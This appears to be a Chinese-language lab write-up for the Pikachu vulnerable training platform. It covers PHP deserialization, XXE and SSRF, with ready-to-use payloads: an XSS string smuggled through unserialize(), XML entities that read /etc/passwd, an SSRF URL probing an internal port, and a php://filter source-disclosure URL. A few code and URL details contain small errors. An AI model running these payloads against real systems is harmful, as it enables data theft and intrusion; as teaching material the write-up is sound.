一、反序列化和序列化知识概念普及及实验：
在理解这个漏洞前,你需要先搞清楚php中serialize()，unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化 unserialize()漏洞实验：反序列化一般通过代码审计的方式发现
我们就按照前面介绍的知识来试验一下： paylode：
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} 看看能否在前端输出数据：看看能否在前端输出数据：
提交后就可以开展xss攻击了！
二、XXE基本概念概述及漏洞实验
1、XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
此次试验中为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析
2、XXE漏洞实验
1 具体的关于xml实体的介绍，可以在网上先查一下。XML语法结构大致如下 2 第一部分：XML声明部分 3 <?xml version="1.0"?> 4 5 第二部分：文档类型定义 DTD 6 <!DOCTYPE note[ 7 <!--定义此文档是note类型的文档--> 8 <!ENTITY entity-name SYSTEM "URI/URL"> 9 <!--外部实体声明--> 10 ]> 11 12 第三部分：文档元素 13 <note> 14 <to>Dave</to> 15 <from>Tom</from> 16 <head>Reminder</head> 17 <body>You are a good man</body> 18 </note>
1 其中，DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。 2 ① 内部申明DTD格式 3 <!DOCTYPE 根元素 [元素申明]> 4 5 ② 外部引用DTD格式 6 <!DOCTYPE 根元素 SYSTEM "外部DTD的URI"> 7 8 ③ 引用公共DTD格式 9 <!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
1 外部实体引用 Payload 2 <?xml version="1.0"?> 3 4 <!DOCTYPE ANY[ 5 <!ENTITY f SYSTEM "file:///etc/passwd"> 6 ]> 7 8 <x>&f;</x>
@1、我们先在 Pikachu 平台上，提交一个正常的 xml 数据:我们发现他将我们定义的内容打印在了前端，很明显的漏洞：
1 <?xml version = "1.0"?> 2 <!DOCTYPE note [ 3 <!ENTITY hacker "wolaile"> 4 ]> 5 <name>&hacker;</name>
@2、 如果我们提交下面这样的payload，就能看到服务器上的文件内容,太可怕了，如果是关键文件就惨了！
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C:/2.txt">
]>
<x>&f;</x>
三、SSRF 服务端请求伪造
SSRF(Server-Side Request Forgery:服务器端请求伪造)概念精华：
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
进入模块后发现是一个链接，点击链接里面会有一首诗：
观察 url 发现它传递了一个 url 给后台，我想这个应该就这首诗实际的位置吧！
查看后台源码：
首先接收到前台的URL，然后没有进行过滤就直接进行初始化，然后用curl_exec()，进行解析返回给了前端。
我们可以把 url 中的内容改成内网的其他服务器上地址和端口，探测内网的其他信息，比如端口开放情况，下面这个例子就探测出129这台机器开放了22端口
http://192.168.24.140/pikachu-master/vul/ssrf/ssrf_curl.php?url=htt://192.168.24.130:22
也支持其他的http或者https协议
四、SSRF(file_get_content)
观察一下源代码：file_get_content 可以对本地和远程的文件进行读取
还可以使用 filter 取得页面源码：http://192.168.24.140/pikachu-master/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
是不是不知道是啥玩意，原来是加密了，再进行 base64 解码 就能得到页面源码。
